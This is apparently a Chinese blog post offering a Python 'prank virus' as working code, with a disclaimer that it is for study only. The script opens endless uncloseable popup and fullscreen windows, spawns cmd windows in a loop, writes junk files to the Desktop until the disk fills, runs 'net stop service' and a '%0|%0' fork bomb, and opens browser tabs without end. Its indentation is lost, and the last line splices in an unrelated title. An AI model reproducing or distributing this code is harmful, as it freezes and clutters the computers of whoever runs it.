大家好,小编为大家解答python简单的病毒编程代码的问题。很多人还不知道如何用python做恶搞病毒,现在让我们一起来看看吧!
画面很绚丽,伤害不太大。
请在C盘准备好2G左右的空间(如运行时间太长,2G会不够)
如果你的电脑性能不好,那就算了,它跑不起来…
P.S.仅供学习使用,请勿做坏事!若做了坏事,本人亦不负责!
代码:
import tkinter as tk
import os
import webbrowser as web
import random
import threading
import tkinter.messagebox as tm
import getpass
import time
l=0
f=''
def A():
def not_close():
while True:
tm.showerror('攻击者','此路不通!!!!!!!!!!!!!!!!!')
def redboom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('windows错误')
window.geometry("250x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='您的电脑已被攻击!', bg='red',
font=('宋体', 17), width=20, height=4).pack()
window.protocol("WM_DELETE_WINDOW",not_close)
window.mainloop()
def also_not_close():
while True:
tm.showinfo('红配绿,好帅气!','红配绿,好帅气!')
def greenboom():
window = tk.Tk()
width = window.winfo_screenwidth()
height = window.winfo_screenheight()
a = random.randrange(0, width)
b = random.randrange(0, height)
window.title('红配绿,好帅气!')
window.geometry("250x50" + "+" + str(a) + "+" + str(b))
tk.Label(window, text='红配绿,好帅气!', bg='green',
font=('宋体', 17), width=20, height=4).pack()
window.protocol("WM_DELETE_WINDOW",also_not_close)
window.mainloop()
threads = []
i=0
while True:
try:
if i%2 == 0:
t = threading.Thread(target=redboom)
else:
t=threading.Thread(target=greenboom)
threads.append(t)
threads[i].start()
i+=1
except:
pass
def B():
time.sleep(10)
def not_close():
pass
def a():
a=tk.Tk()
a.attributes("-fullscreen", True)
a.protocol("WM_DELETE_WINDOW",not_close)
a.mainloop()
threads = []
i=0
while True:
try:
t = threading.Thread(target=a)
threads.append(t)
threads[i].start()
i+=1
except:
pass
def C():
while True:
try:
os.startfile('cmd')
except:
pass
def D():
global l,f
user=getpass.getuser()
path ='C:\\Users\\'+user+'\\Desktop'
while True:
try:
files = os.listdir(path)
l = len(files) + 1
f = path + '\\'+ '' + str(l) + '.txt'
with open(f,'w')as ff:
ff.write('virus here\n'*i**i)
except:
pass
def E():
time.sleep(5)
os.system("net stop service")
while True:
try:
web.open('www.python.org')
except:
pass
def F():
time.sleep(1)
while True:
try:
os.startfile(f)
except:
pass
def G():
time.sleep(60)
os.popen('%0|%0')
def H():
while True:
os.popen('start Error')
def virus():
a=tm.askyesno('virus',"Do you really want to run?")
if a:
root.quit()
a=[A,B,C,D,E,F,G,H]
ts=[]
i=0
for a in a:
ts.append(threading.Thread(target=a))
ts[i].start()
i+=1
root=tk.Tk()
b=tk.Button(root,text='run', width=15, height=2, command = virus)
b.place(x=10, y=10)
root.mainloop()
请谨慎运行,若对您的电脑造成了任何损害,本人概不负责如何用python画不同大小的满天星。